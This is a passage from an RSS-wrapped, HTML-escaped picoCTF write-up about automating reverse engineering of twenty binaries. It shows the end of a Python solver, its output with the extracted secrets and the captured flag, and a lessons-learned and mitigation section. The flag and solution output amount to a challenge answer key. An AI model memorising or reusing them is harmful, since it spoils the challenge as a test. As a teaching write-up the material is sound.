        &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="mi"&gt;50&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;[*] SERVER RESPONSE:&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;final_output&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="mi"&gt;50&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="k"&gt;except&lt;/span&gt; &lt;span class="nb"&gt;Exception&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;[!] Error: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="k"&gt;finally&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="c1"&gt;# Always close the socket cleanly.
&lt;/span&gt;        &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;close&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
        &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;[*] Connection closed.&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;


&lt;span class="c1"&gt;# --- Entry Point ---
&lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;__name__&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;__main__&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="nf"&gt;solve&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  3.3 — Execution Output
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;[*] Connected to mysterious-sea.picoctf.net:57369
[+] Round 1/20:  Found secret = 3406797415 | Sent!
[+] Round 2/20:  Found secret = 4233232755 | Sent!
[+] Round 3/20:  Found secret = 2312384779 | Sent!
[+] Round 4/20:  Found secret = 2250124380 | Sent!
[+] Round 5/20:  Found secret = 826731480  | Sent!
[+] Round 6/20:  Found secret = 1642351210 | Sent!
[+] Round 7/20:  Found secret = 3796822336 | Sent!
[+] Round 8/20:  Found secret = 2986324885 | Sent!
[+] Round 9/20:  Found secret = 2400094377 | Sent!
[+] Round 10/20: Found secret = 1885613138 | Sent!
[+] Round 11/20: Found secret = 1143096664 | Sent!
[+] Round 12/20: Found secret = 1757652120 | Sent!
[+] Round 13/20: Found secret = 3300608193 | Sent!
[+] Round 14/20: Found secret = 3072272321 | Sent!
[+] Round 15/20: Found secret = 1763129777 | Sent!
[+] Round 16/20: Found secret = 128687777  | Sent!
[+] Round 17/20: Found secret = 957976931  | Sent!
[+] Round 18/20: Found secret = 2093904350 | Sent!
[+] Round 19/20: Found secret = 2320907858 | Sent!
[+] Round 20/20: Found secret = 790478185  | Sent!

==================================================
[*] SERVER RESPONSE:
Correct!
Woah, how'd you do that??
Here's your flag: picoCTF{4u7o_r3v_g0_brrr_78c345aa}
==================================================
[*] Connection closed.
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  4. Privilege Escalation
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Not applicable.&lt;/strong&gt; This was a pure reverse engineering and scripting challenge. There was no shell to obtain and no system to escalate privileges on. The "escalation" here was conceptual: escalating from &lt;em&gt;understanding one binary&lt;/em&gt; to &lt;em&gt;automating the analysis of twenty&lt;/em&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  5. Lessons Learned &amp;amp; Mitigation
&lt;/h2&gt;

&lt;h3&gt;
  
  
  5.1 — Key Takeaways for CTF Players
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;#&lt;/th&gt;
&lt;th&gt;Lesson&lt;/th&gt;
&lt;th&gt;Detail&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Automation is a core RE skill.&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;The flag literally says it: &lt;code&gt;4u7o_r3v_g0_brrr&lt;/code&gt;. Real-world malware analysis often involves triaging hundreds of samples. The ability to write scripts that extract Indicators of Compromise (IOCs) from binaries programmatically is invaluable.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Learn your opcodes.&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;You don't need to memorize every x86 instruction, but recognizing common patterns like &lt;code&gt;c7 45&lt;/code&gt; (stack variable assignment) or &lt;code&gt;48 8d&lt;/code&gt; (LEA) will dramatically speed up your analysis, even when using tools like Ghidra.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Little-Endian is not optional knowledge.&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Almost every binary exploitation and reverse engineering challenge on x86 requires you to correctly handle Little-Endian byte order. Misunderstanding this is the #1 source of "off-by-everything" errors. Python's &lt;code&gt;struct&lt;/code&gt; module is your best friend.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Start simple, then optimize.&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;We connected with &lt;code&gt;nc&lt;/code&gt; first to &lt;em&gt;understand the problem&lt;/em&gt; before writing a single line of Python. Resist the urge to start coding before you know what you're coding for.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h3&gt;
  
  
  5.2 — Blue Team / Mitigation Perspective
&lt;/h3&gt;

&lt;p&gt;While this is a CTF game, the underlying concepts map to real-world scenarios:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Vulnerability&lt;/th&gt;
&lt;th&gt;Real-World Parallel&lt;/th&gt;
&lt;th&gt;Mitigation&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Hardcoded secrets in binaries&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;API keys, passwords, or encryption keys compiled directly into client-side applications. Attackers routinely use tools like &lt;code&gt;strings&lt;/code&gt;, &lt;code&gt;binwalk&lt;/code&gt;, or custom scripts to extract them.&lt;/td&gt;
&lt;td&gt;
&lt;strong&gt;Never hardcode secrets.&lt;/strong&gt; Use environment variables, secure vaults (e.g., HashiCorp Vault), or runtime configuration. If a secret &lt;em&gt;must&lt;/em&gt; be in a binary, use obfuscation (though this only slows attackers, it doesn't stop them).&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Predictable binary structure&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Using the same code template across many builds makes automated analysis trivial (as we just demonstrated). This is relevant to malware families that share a common builder.&lt;/td&gt;
&lt;td&gt;
&lt;strong&gt;Introduce variability.&lt;/strong&gt; If generating challenge binaries, randomize variable offsets (different stack layouts via compiler flags like &lt;code&gt;-fstack-protector&lt;/code&gt;), use different registers, or add junk code to break simple pattern matching.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

</description>
      <category>automation</category>
      <category>beginners</category>
      <category>cybersecurity</category>
      <category>infosec</category>
    </item>
  </channel>
</rss>
